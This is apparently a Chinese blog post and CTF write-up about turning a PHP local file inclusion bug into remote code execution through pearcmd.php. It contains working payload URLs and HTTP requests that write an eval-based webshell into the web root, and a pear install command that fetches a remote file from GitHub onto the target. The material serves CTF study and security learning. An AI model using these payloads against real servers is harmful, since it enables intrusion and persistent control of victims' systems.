pearcmdphp文件包含rce
参考文章:利用pearcmd.php本地文件包含姿势学习 | 休比大王
在 Web 环境下,如果开启了 register_argc_argv=on,HTTP 数据包中的 Query-String(查询字符串)就会被作为 $_SERVER['argv'] 的值
可以用它来包含 PHP 的命令行工具文件(如 pearcmd.php),由于 pearcmd.php 内部会读取 $_SERVER['argv'] 来获取命令行参数
pearcmd.php默认路径:/usr/local/lib/php/pearcmd.php 参数分隔符:使用+作为分隔符,而非常规的&或=, 通过特定命令(如config-create, install, download)结合LFI漏洞,可实现远程代码执行(RCE)
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大
原理:
当开启了register_argc_argv=on时
它会让 URL 中 ? 后面所有内容 都被当成命令行参数(argv)传给 PHP 脚本



看上面的三种情况 其实只要去了解到&不能进行分割参数而+可以分割参数就可以了
利用姿势:
如果系统安装了 PEAR 扩展,就有 pearcmd.php 这个文件(CLI 命令入口脚本)。
如果 PHP 配置中开启了 register_argc_argv = On,那么 URL ? 后面的内容会被放入 $_SERVER['argv'](命令行参数数组),而不仅仅是 GET 参数。
如果应用存在本地文件包含(LFI)漏洞,并且能包含 .php 后缀的文件,就可以通过包含 pearcmd.php,再构造一个参数来执行 pear 的命令。
pear 中有 config-create 命令,该命令会把内容写入文件。通过这个命令,可以写入一句话木马(webshell),然后再通过 LFI 或者直接访问来执行
pear命令参数
重点来看config-creater、install
一、config-create
config-create: must have 2 parameters, root path and filename to save as
第一个参数 <root path>:指定一个根目录,PEAR 会以此为基础来生成一份配置文件,写入一些路径配置(如 php_dir、doc_dir 等)。
第二个参数 <filename>:生成的配置文件要保存到哪里。
必须传入两个参数,第一个为绝对路径,第二个为创建文件的文件名
注意传入的内容是通过+来作为分隔符的。即空格经过url编码后+,我们尝试一段命令
pear config-create /<?=@eval($_POST[1]);?> /tmp/test.php
这个会在/tmp/test.php生成一个一句话 注意前面要引入绝对路径
写webshell:
服务端为include($_GET['file'])
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php
注意: 不要在url中直接上传因为<>在url传输中会出现解码错误,用burpsuite传输修改
二、install
利用2(目标出网)
我这里利用的是github上传文件 然后通过pear下载到靶机 再对文件进行包含
比如我们这里写一个phpinfo


通过github个人仓库上传
raw.githubusercontent.com/xiubi1125/xiubi1125.github.io/refs/heads/main/info.txt
这是我的上传链接
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+https://raw.githubusercontent.com/xiubi1125/xiubi1125.github.io/refs/heads/main/info.txt
例题一:
<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
}
【1】本地文件包含 LFI
include($_GET[‘file’].”.php”);`
用户传的 file 参数会拼接一个 .php 再被包含,不能直接包含 /etc/passwd 这种非 PHP 文件
【2】黑名单filter,rot13,base64不能用
payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php
再去访问即可
例题二:2026H&NCTF include

点击预览抓包:

尝试包含/etc/passwd,显示必须以.php结尾

尝试包含/usr/local/lib/php/pearcmd.php,返回200,说明存在这个文件

尝试利用pearcmd.php文件包含漏洞
【1】猜测register_argc_argv=on, 则URL 中 ? 后面所有内容 都被当成命令行参数(argv)传给 pearcmd 脚本
【2】通过包含 pearcmd.php,再构造get传参来执行 pear 的命令

POST /?+config-create+/<?=eval($_POST[1])?>+/var/www/html/sb.php HTTP/1.1
post体里面file传参文件包含pearcmd.php文件:
file=/usr/local/lib/php/pearcmd.php
访问马,执行shell

本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627514

浙公网安备 33010602011771号